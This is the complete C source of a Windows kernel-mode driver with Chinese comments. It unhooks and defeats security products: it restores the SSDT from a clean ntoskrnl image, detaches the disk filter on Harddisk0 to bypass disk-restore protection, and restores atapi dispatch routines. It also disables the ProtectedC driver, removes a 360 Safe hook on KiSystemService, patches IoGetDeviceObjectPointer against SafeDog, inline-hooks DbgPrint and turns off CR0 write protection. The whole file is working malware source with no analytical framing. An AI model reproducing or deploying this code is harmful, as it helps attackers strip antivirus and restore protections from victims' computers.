#include<ntddk.h> #include<stdio.h> ULONG * realssdt; #define SEC_IMAGE 0x01000000 #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } SDT, *PSDT; extern PSDT KeServiceDescriptorTable; #pragma pack() extern POBJECT_TYPE* IoDriverObjectType; #define DWORD unsigned long PDEVICE_OBJECT dr0attach; PDEVICE_OBJECT dr0dev; ULONG devctrl,scsi,power,sysctrl,pnp; ULONG retaddr; NTSYSAPI NTSTATUS NTAPI ZwAccessCheckAndAuditAlarm( PUNICODE_STRING SubsystemName, PVOID HandleId, PUNICODE_STRING ObjectTypeName, PUNICODE_STRING ObjectName, PSECURITY_DESCRIPTOR SecurityDescriptor, ACCESS_MASK DesiredAccess, PGENERIC_MAPPING GenericMapping, BOOLEAN ObjectCreation, PACCESS_MASK GrantedAccess, PBOOLEAN AccessStatus, PBOOLEAN GenerateOnClose); NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); NTSYSAPI NTSTATUS NTAPI ZwCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL ); NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName( IN PUNICODE_STRING ObjectName, IN ULONG Attributes, IN PACCESS_STATE AccessState OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL, IN POBJECT_TYPE ObjectType, IN KPROCESSOR_MODE AccessMode, IN OUT PVOID ParseContext OPTIONAL, OUT PVOID* Object ); NTSYSAPI NTSTATUS NTAPI ZwOpenDirectoryObject( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[255]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; ULONG GetModuleBase(char* name){ ULONG n,i ; PSYSTEM_MODULE_INFORMATION module; PVOID pbuftmp; char modulename[255]; ZwQuerySystemInformation(11, &n, 0, &n); pbuftmp = ExAllocatePool(NonPagedPool, n); ZwQuerySystemInformation(11, pbuftmp, n, NULL); module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 ); n = *((PULONG)pbuftmp ); for ( i = 0; i < n; i++ ) { strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset); if(!_strnicmp(modulename,name,strlen(name))){ ExFreePool(pbuftmp); return (ULONG)module[i].Base; } } ExFreePool(pbuftmp); return 0; } VOID PatchSSDT(){ ULONG offset,i,imagebase,kernelbase; UNICODE_STRING ntoskrnl; OBJECT_ATTRIBUTES oa; IO_STATUS_BLOCK iosb; SIZE_T size=0; PVOID base= NULL; HANDLE hFile,hSection; realssdt=ExAllocatePool(0,KeServiceDescriptorTable->NumberOfServices*4); RtlInitUnicodeString(&ntoskrnl,L"//SystemRoot//System32//ntoskrnl.exe"); InitializeObjectAttributes(&oa,&ntoskrnl, OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE ,0,0); ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE , &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); oa.ObjectName = 0; ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile); ZwMapViewOfSection(hSection, NtCurrentProcess (), &base, 0, 1000, 0, &size,( SECTION_INHERIT ) 1 , MEM_TOP_DOWN , PAGE_READWRITE); ZwClose(hFile); kernelbase=GetModuleBase("ntoskrnl.exe"); imagebase=*(ULONG*)((ULONG)base+*(ULONG*)((ULONG)base+0x3C)+13*4); offset=*(ULONG*)KeServiceDescriptorTable-GetModuleBase("ntoskrnl.exe"); RtlCopyMemory(realssdt,(PVOID )(offset+(ULONG)base),(KeServiceDescriptorTable->NumberOfServices*4)); for(i=0;i<KeServiceDescriptorTable->NumberOfServices;i++,realssdt++) { *realssdt=*realssdt-imagebase+kernelbase;//取得内存里正确的地址,然后修改回去 *(ULONG*)((ULONG)KeServiceDescriptorTable->ServiceTableBase+i*4)=*realssdt; } } VOID FindDispatch(){//从atapi.sys文件读取原本的dispatch routine NTSTATUS status; HANDLE Handle; UNICODE_STRING atapi; OBJECT_ATTRIBUTES ObjectAttributes; IO_STATUS_BLOCK IoStatusBlock; FILE_STANDARD_INFORMATION NumberOfBytes; PVOID buf; ULONG PE,opthead,init,initpointer,Length,secnum,rawsize,rawpointer,limit,base; int i; RtlInitUnicodeString(&atapi,L"//SystemRoot//System32//drivers//atapi.sys"); ObjectAttributes.ObjectName = &atapi; ObjectAttributes.Length = 24; ObjectAttributes.RootDirectory = 0; ObjectAttributes.Attributes =576; ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; status = IoCreateFile(&Handle,GENERIC_READ,&ObjectAttributes,&IoStatusBlock,0,FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ,FILE_OPEN,0x50u,0,0,0,0,0); if(status<0){ DbgPrint("Open File failed...%08x..",status); return ; } status = ZwQueryInformationFile(Handle, &IoStatusBlock, &NumberOfBytes, 24, FileStandardInformation); if(status<0){ DbgPrint("ZwQueryInformationFile File failed...%08x..",status); return ; } buf= ExAllocatePool(0, NumberOfBytes.AllocationSize.LowPart); if(buf==NULL) { DbgPrint("ExAllocatePoolWithTag failed"); return ; } ZwReadFile(Handle, 0, 0, 0, &IoStatusBlock, buf,NumberOfBytes.AllocationSize.LowPart, 0, 0); PE=(ULONG)buf; for(i=0;i<0x1000;i++){ if(!_stricmp((const char*)PE,"pe")) break; PE++; } DbgPrint("PE Header 0x%x 0x%.2x 0x%.2x",PE, *(UCHAR*)(PE),*(UCHAR*)((ULONG)PE+1)); opthead = *(unsigned short *)(PE + 20); //SizeofOptionalHeader DbgPrint("SizeofOptionalHeader - 0x%x",opthead ); init = opthead + PE + 24; initpointer=init; Length = 0; while (_stricmp((const char*)init,"init")) { initpointer += 40; secnum = *(DWORD *)(PE + 6); ++Length; if ( Length >= secnum ) break; init = initpointer; } init = initpointer; if ( Length == *(DWORD *)(PE+ 6) ) DbgPrint("No found INit seg/r/n"); else { rawpointer = *(DWORD *)(init + 20); rawsize = *(DWORD *)(init + 16); DbgPrint("rawpointer 0x%x",rawpointer); DbgPrint("rawsize 0x%x",rawsize); limit=rawpointer+rawsize; if(rawpointer<rawpointer+rawsize){ while ( *((unsigned char *)buf + rawpointer) != 0xC7 || *((unsigned char *)buf + rawpointer + 2) != 0x30 || *((unsigned char *)buf + rawpointer + 7) != 0xC7 || *((unsigned char *)buf + rawpointer + 9) != 0x34 || *((unsigned char *)buf + rawpointer + 14) != 0xC7 || *((unsigned char *)buf + rawpointer + 21) != 0xC7 || *((unsigned char *)buf + rawpointer + 28) != 0xC7 )//寻找Major Function { ++rawpointer; if ( rawpointer >= limit) { ExFreePool(buf); ZwClose(Handle); return; } } scsi=*(DWORD *)((ULONG)buf + rawpointer + 17) -0x10000;//IRP_MJ_SCSI devctrl=*(DWORD *)((ULONG)buf + rawpointer+ 24) -0x10000;//IRP_MJ_DEVICE_CONTROL power=*(DWORD *)((ULONG)buf + rawpointer + 34) -0x10000;//IRP_MJ_POWER pnp=*(DWORD *)((ULONG)buf + rawpointer + 44) -0x10000;//IRP_MJ_PNP sysctrl=*(DWORD *)((ULONG)buf + rawpointer + 54) -0x10000;//IRP_MJ_SYSTEM_CONTROL base=GetModuleBase("atapi.sys"); scsi+=base; devctrl+=base; power+=base; pnp+=base; sysctrl+=base; DbgPrint("scsi-0x%x devctrl-0x%x power-0x%x sysctrl-0x%x pnp-0x%x",scsi,devctrl,power,sysctrl,pnp); } } ExFreePool(buf); ZwClose(Handle); } _declspec(naked) ULONG MyDbgPrint( ){ _asm{ push eax mov eax,[esp+4] cmp dword ptr [eax], 3E86859h jnz end cmp dword ptr [eax+4], 0EE80000h jnz end mov eax, [ebp+4] cmp eax, 80000000h jb end cmp byte ptr [eax], 83h jnz end cmp byte ptr [eax+1], 4Dh jnz end cmp byte ptr [eax+2], 0FCh jnz end cmp byte ptr [eax+3], 0FFh jnz end cmp byte ptr [eax+4], 6Ah push dword ptr [ebp-4] call ZwClose pop eax jmp dword ptr [ebp+4] end: pop eax push ebp mov ebp, esp jmp [retaddr] } } _declspec(naked)int recover(){ _asm{ sub esp,ecx shr ecx,2 mov edi,esp cmp esi, 7FFF0000h } } VOID Reinitialize( IN PDRIVER_OBJECT DriverObject, IN PVOID Context, IN ULONG Count ){ OBJECT_ATTRIBUTES ObjectAttributes; PDEVICE_OBJECT devobj; UNICODE_STRING aDeviceHarddisk,aDriverProtecte; UNICODE_STRING aDriverAtapi,aDriverDisk,safedog; HANDLE DirectoryHandle; PVOID Object; PDRIVER_OBJECT atapiobj,protectdrv,diskdrv,dogdrv; ULONG mjcreate,systemservice,foundaddr,pointer,iopointer,dbgpoint; int v10,i; unsigned int count; RtlInitUnicodeString(&aDeviceHarddisk,L"//Device//Harddisk0"); ObjectAttributes.Length = 24; ObjectAttributes.RootDirectory = 0; ObjectAttributes.ObjectName =&aDeviceHarddisk; ObjectAttributes.Attributes = 64; ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; if ( !ZwOpenDirectoryObject(&DirectoryHandle, DIRECTORY_QUERY, &ObjectAttributes) ) { if ( !ObReferenceObjectByHandle(DirectoryHandle, 1, 0, 0, &Object, 0) ) { if ( Object ) { count = 0; while (count < 0x28 )//抹掉DR0的AttachDevice(这边穿还原) { v10 = *((DWORD *)Object + count); if ( v10 ) { devobj = *(PDEVICE_OBJECT*)(v10 + 4); if ( devobj->Type == 3 ) { if ( devobj->AttachedDevice ) { dr0attach = devobj->AttachedDevice; dr0dev = devobj; devobj->AttachedDevice = 0; break; } } } ++count; } } ObDereferenceObject( Object); } ZwClose(DirectoryHandle); } __asm { mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax } RtlInitUnicodeString(&aDriverAtapi,L"//Driver//atapi"); ObReferenceObjectByName(&aDriverAtapi,64,0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0,&atapiobj); FindDispatch(); atapiobj->MajorFunction[IRP_MJ_SCSI]=(PDRIVER_DISPATCH)scsi; atapiobj->MajorFunction[IRP_MJ_DEVICE_CONTROL]=(PDRIVER_DISPATCH)devctrl; atapiobj->MajorFunction[IRP_MJ_POWER]=(PDRIVER_DISPATCH)power; atapiobj->MajorFunction[IRP_MJ_PNP ]=(PDRIVER_DISPATCH)pnp; atapiobj->MajorFunction[IRP_MJ_SYSTEM_CONTROL ]=(PDRIVER_DISPATCH)sysctrl; RtlInitUnicodeString(&aDriverProtecte,L"//Driver//ProtectedC"); RtlInitUnicodeString(&aDriverDisk,L"//Driver//Disk"); if ( !ObReferenceObjectByName(&aDriverProtecte, 64, 0,OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &protectdrv) ) { if ( protectdrv ) { if ( !ObReferenceObjectByName(&aDriverDisk, 64, 0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &diskdrv) ) { if ( diskdrv ) { if ( diskdrv->MajorFunction[IRP_MJ_CREATE] == diskdrv->MajorFunction[IRP_MJ_CLOSE ] ) { mjcreate = (ULONG)diskdrv->MajorFunction[IRP_MJ_CREATE]; i=0; while(i<=IRP_MJ_MAXIMUM_FUNCTION) diskdrv->MajorFunction[i++]=(PDRIVER_DISPATCH)mjcreate; } } } } } PatchSSDT(); systemservice=(ULONG)ZwAccessCheckAndAuditAlarm+13+*(ULONG*)((ULONG)ZwAccessCheckAndAuditAlarm+13)+4; DbgPrint("KiSystemService - %x",systemservice); count=0; foundaddr=0; while(count<0x300) { if(*(unsigned char*)(systemservice+count)==0x8B&& *(unsigned char*)(systemservice+count+1)==0x1C&& *(unsigned char*)(systemservice+count+2)==0x87) { foundaddr=systemservice+count+3; break; } count++; } //还原360保险箱对KiSystemService的钩子 /* 804d5e77 8b1c87 mov ebx,dword ptr [edi+eax*4] 804d5e7a 2be1 sub esp,ecx 804d5e7c c1e902 shr ecx,2 804d5e7f 8bfc mov edi,esp 804d5e81 3b35b4745480 cmp esi,dword ptr [nt!MmUserProbeAddress (805474b4)] */ if(foundaddr){ *(ULONG*)((ULONG)recover+9)=*(ULONG*)MmUserProbeAddress; pointer=(ULONG)recover; for(i=0;i<13;i++,foundaddr++,pointer++) *(unsigned char*)foundaddr=*(unsigned char*)pointer; } RtlInitUnicodeString(&safedog,L"//Driver//SafeDog"); if ( !ObReferenceObjectByName(&safedog, 64, 0, OBJ_CASE_INSENSITIVE, *IoDriverObjectType, 0, 0, &dogdrv)) { if(dogdrv) { iopointer=(ULONG)IoGetDeviceObjectPointer; *(unsigned char*)(iopointer)=0x8b; *(unsigned char*)(iopointer+1)=0xff; *(unsigned char*)(iopointer+2)=0x55; *(unsigned char*)(iopointer+3)=0x8b; *(unsigned char*)(iopointer+4)=0xec; } } dbgpoint=(ULONG)DbgPrint;//inline DbgPrint() retaddr=dbgpoint+5; *(unsigned char*)dbgpoint=0xE9; *(ULONG*)((ULONG)dbgpoint+1)=(ULONG)MyDbgPrint-(ULONG)dbgpoint-5; __asm { mov eax, CR0 or eax, NOT 0FFFEFFFFh mov CR0, eax } } NTSTATUS Dispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ){ IofCompleteRequest(Irp, 0); return 0; } VOID DriverUnload(IN PDRIVER_OBJECT DriverObject) { UNICODE_STRING SymbolicLinkName; RtlInitUnicodeString(&SymbolicLinkName,L"//DosDevices//32ef43d02471c26e"); IoDeleteSymbolicLink(&SymbolicLinkName); IoDeleteDevice(DriverObject->DeviceObject); } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { PDEVICE_OBJECT DeviceObject; UNICODE_STRING DeviceName; UNICODE_STRING SymbolicLinkName; RtlInitUnicodeString(&DeviceName,L"//Device//32ef43d02471c26e");//随机生成的路径 RtlInitUnicodeString(&SymbolicLinkName,L"//DosDevices//32ef43d02471c26e"); if ( !IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_NULL , 0, TRUE, &DeviceObject) ) { if ( IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName) ) { IoDeleteDevice(DeviceObject); } else { DriverObject->MajorFunction[IRP_MJ_CREATE ] = Dispatch; DriverObject->MajorFunction[IRP_MJ_CLOSE ] = Dispatch; DriverObject->DriverUnload = DriverUnload; IoRegisterDriverReinitialization(DriverObject, Reinitialize,0); } } return 0; }